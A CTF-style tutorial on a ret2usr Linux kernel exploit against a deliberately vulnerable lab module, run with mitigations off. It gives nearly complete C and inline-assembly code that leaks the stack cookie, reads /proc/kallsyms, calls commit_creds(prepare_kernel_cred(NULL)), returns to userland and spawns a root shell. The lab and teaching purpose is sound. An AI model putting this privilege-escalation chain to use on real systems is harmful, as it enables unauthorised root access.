Kernel stack cookies

We are using resources from here The kernel module we are exploiting is here The final exploit is here

Overview

Stack cookies exist in the kernel stack just like standard userspace programs. When attempting to clobber the stack through a stack overflow, the kernel will panic and report something similar to the image below:

The method of exploitation is very similar from userspace to kernel space and we will be using the same ideas behind leaking a stack cookie and then replacing it on the stack

We are going to be building a ret2usr exploit using the kernel-overflow kernel module. This exploit will require disabling a couple mitigations: smep smap kpti and kaslr . The launch_stack_cookie.sh included with these challenges will launch the kernel without these mitigations.

The plan of attack here is as follows: * Leak the stack cookie * Get key kernel addresses * Save some user-mode registers * Build some shellcode * Overwrite the program counter to our shellcode

Leak

When we open and read from the character device, the following kernel code is executed:

static ssize_t device_read(struct file *filp, char *buf, size_t len, loff_t *offset)
{
    int tmp[32] = {0};
    tmp[0] = 0xDEADBEEF;
    tmp[31] = 0xCAFEBABE;

    memcpy(hackme_buf, tmp, len);

    if ( len > 0x1000 )
    {
        printk("Buffer overflow detected (%d < %lu)!\n", 4096LL, len);
        BUG();
    }

    if ( copy_to_user(buf, hackme_buf, len) ) return -14LL;

    return len;
}

Our stack has a variable tmp on it that should be 32*sizeof(int) (128) bytes large. The next value on the stack will be our stack cookie, and then some caller saved registers as shown below:

.--------------------.-----------------------.
|    tmp[0]          |    0xDEADBEEF         | <- 4 bytes
|--------------------|-----------------------| 
|    tmp[1]          |    0x0                | <- 4 bytes
|--------------------|-----------------------|
|    ...             |    0x0                | <- each 4 bytes
|--------------------|-----------------------|
|    tmp[31]         |    0xCAFEBABE         | <- 4 bytes
|--------------------|-----------------------|
|    stack cookie    |    0x2311AC4753522700 | <- 8 bytes and random
|--------------------|-----------------------|
|    rbx register    |    saved rbx register | <- 8 bytes
|--------------------|-----------------------|
|    rip register    |    saved rip register | <- 8 bytes and random
.--------------------.-----------------------.

The check on line 9 is insufficient to prevent and overread and consequently passing in a length greater than 128 bytes will leak stack data. We can trigger this leak by opening the character device and reading in more than 128 bytes. The code below will read in 256 bytes and print each as 8 byte reads.

#define BUF_SIZE 0x100
unsigned long do_leak(int fd) {
  int bytes_read;
  unsigned long *buf = NULL;
  unsigned long stack_cookie;
  unsigned int cookie_offset = 16;

  buf = malloc(BUF_SIZE);
  if (buf == NULL)
    exit_and_log("Failed to malloc\n");

  memset(buf, '\x00', BUF_SIZE);

  bytes_read = read(fd, buf, BUF_SIZE);

  for (int i = 0; i < (BUF_SIZE / WORD_SIZE); i++) {
    if (i == cookie_offset) {
      printf("buf + 0x%X\t: %lX <------- Stack cookie\n", i * WORD_SIZE,
             buf[i]);
    } else {
      printf("buf + 0x%X\t: %lX\n", i * WORD_SIZE, buf[i]);
    }
  }

  stack_cookie = buf[cookie_offset];
  free(buf);

  return stack_cookie;
}

Kernel Addresses

The next step is to get a couple key addresses for our kernel exploit. When we can control execution of the kernel we are interested in calling commit_creds(prepare_kernel_cred(NULL)); which will create a new credential struct with root credentials and then assign our process that new set of credentials!

The classic process of doing this is by reading /proc/kallsyms . We can open and read this file looking for entries for both those addresses and add them into our exploit. The code below will read kallsyms looking for commit_creds and prepare_kernel_cred and then store the values found into two global variables.

void get_kernel_addresses() {
  FILE *fp;
  char *line = NULL;
  size_t len = 0;
  ssize_t read;

  fp = fopen("/proc/kallsyms", "r");
  if (fp == NULL)
    exit_and_log("failed to open kallsyms\n");

  while ((read = getline(&line, &len, fp)) != -1) {
    if (strstr(line, "prepare_kernel_cred") != NULL) {
      prepare_kernel_cred = strtoul(line, NULL, 16);
    }
    if (strstr(line, "commit_creds") != NULL) {
      commit_creds = strtoul(line, NULL, 16);
    }
  }

  fclose(fp);
  if (line)
    free(line);

  printf("prepare_kernel_cred\t: 0x%lX\n", prepare_kernel_cred);
  printf("commit_creds\t\t: 0x%lX\n", commit_creds);
}

Saving program state

To move from kernel mode execution to user space execution either a sysretq or iretq instruction needs to be executed. iretq is the easier method and requires that the stack has 5 registers available on it for : RIP CS RFLAGS SP SS . When executing programs there are two sets of these registers in use, one set is used for the kernel and the other is for the usermode program, we need to save off these values so that we can restore them when the kernel executes our shellcode later.

Right from Midas's blog you can use the function below to save off those registers into global variables:

void save_state() {
  __asm__(".intel_syntax noprefix;"
          "mov user_cs, cs;"
          "mov user_ss, ss;"
          "mov user_sp, rsp;"
          "pushf;"
          "pop user_rflags;"
          ".att_syntax;");
  printf("Saved cs, ss, rsp, rflags registers\n");
}

Shellcode

Using the previously gathered prepare_kernel_cred and commit_creds functions addresses, we want to call both of these and then return to userspace. On the return to userspace we want to check our uid and gid to ensure that we are root and then execve /bin/sh.

We can assemble the beginning of our shellcode using gcc's inline asm command. You can reference global variables like our previously saved prepare_kernel_cred value here inline too.

  __asm__(".intel_syntax noprefix;"
          "movabs rax, prepare_kernel_cred;"
          "xor rdi, rdi;"
          "call rax; mov rdi, rax;"
          "movabs rax, commit_creds;"
          "call rax;"
          ".att_syntax;");

The above code will execute commit_creds(prepare_kernel_cred(NULL));but won't return us to userspace yet. A normal "ret" instruction here will just panic the kernel since it's expecting to execute another kernel function, not a userspace function.

We need to call the swapgs instruction which will change the GS base register back to it's userspace value, enabling us to execute userspace code. The next step is using either that iretq or sysreq method to return out of kernel space. The full set of shellcode is below:

void give_me_root() {
  // Set end RIP value to our shell drop
  user_rip = (unsigned long)drop_shell;

  __asm__(".intel_syntax noprefix;"
          "movabs rax, prepare_kernel_cred;"
          "xor rdi, rdi;"
          "call rax; mov rdi, rax;"
          "movabs rax, commit_creds;"
          "call rax;"
          "swapgs;"
          "mov r15, user_ss;"
          "push r15;"
          "mov r15, user_sp;"
          "push r15;"
          "mov r15, user_rflags;"
          "push r15;"
          "mov r15, user_cs;"
          "push r15;"
          "mov r15, user_rip;"
          "push r15;"
          "iretq;"
          ".att_syntax;");
}

The rip value set at the end of our shellcode needs to be the next instruction that we want the program to execute. We can set this to a function we want to call with our new set of root credentials.

void drop_shell(void) {
  printf("[*] Returned to userland\n");
  char *argv[] = {"/bin/sh", NULL};
  char *envp[] = {NULL};
  if (getuid() == 0 && getgid() == 0) {
    printf("[*] UID: %d\n", getuid());
    printf("[*] GID: %d\n", getuid());
    execve(argv[0], argv, envp);
  }
  exit_and_log("Failed to priv\n");
}

PC Overwrite

The overflow is present in the device_write function of the kernel module:

static ssize_t device_write(struct file *filp, const char *buf, size_t len, loff_t *off)
{
    int tmp[32] = {0};
    tmp[0] = 0xDEADBEEF;
    tmp[31] = 0xCAFEBABE;

    if ( len > 0x1000 )
    {
        printk("Buffer overflow detected (%d < %lu)!\n", 4096LL, len);
        BUG();
    }
    check_object_size(hackme_buf, len, 0LL);

    if ( copy_from_user(hackme_buf, buf, len) ) return -14LL;

    memcpy(tmp, hackme_buf, len);

    // my gcc is optimizing out the memcpy
    // having tmp used after the copy ensures
    // that it stays in
    printk(KERN_ALERT "After %s",tmp);

    return len;
}

Line 16 in device_write() in the kernel module will overflow that tmp stack variable which overwrites the stack cookie and saved rbx and rip registers.

We can trigger this overflow by opening the character device and writing a buffer larger that 128 bytes. If we place the stack cookie at the end of the 128 bytes, we should be able to reliably overwrite the saved registers. We can trigger a crash with RIP pointing at a location we control with the code below:

void overwrite_pc(int fd, unsigned long stack_cookie) {
  unsigned long *buf = NULL; //[BUF_SIZE];
  unsigned int cookie_offset = 16;
  int bytes_written;

  buf = malloc(BUF_SIZE);
  if (buf == NULL)
    exit_and_log("Failed to malloc\n");

  memset(buf, '\x00', BUF_SIZE);

  buf[cookie_offset] = stack_cookie;
  buf[cookie_offset + 1] = 0x4141414141414141; // rbx
  buf[cookie_offset + 2] = 0x4444444444444444; // rip

  // After this write we won't return to the
  // rest of this function
  bytes_written = write(fd, buf, BUF_SIZE);

  printf("Write returned %d\n", bytes_written);

  free(buf);
}

At this point, we can exchange the 0x4444444444444444 for our give_me_root function . The flow of our final exploit is as follows:

void main() {
  /*
   * Interacting with this kernel module is easy
   * just treat it like a file
   */

  int fd;
  unsigned long stack_cookie;

  fd = open(KERN_MODULE, O_RDWR);
  if (fd < 0)
    exit_and_log("Failed to open kernel module\n");

  /*
   * Just like a userspace buffer overflow, a stack
   * read will give us the stack cookie that we can
   * use when doing our kernel space overflow
   */
  stack_cookie = do_leak(fd);

  /*
   * Get prepare_kernel_cred and commit_creds using
   * /proc/kallsyms
   */
  get_kernel_addresses();

  /*
   * Get registers that we'll need to restore later
   */
  save_state();

  /*
   * Overwrite the program counter and execute our
   * shellcode!
   */
  overwrite_pc(fd, stack_cookie);

  printf("At end of main\n");

  close(fd);
}

We can verify our exploit using the existing ctf user. By changing to the ctf user through su we can run the exploit and see our ret2usr exploit worked!

Last updated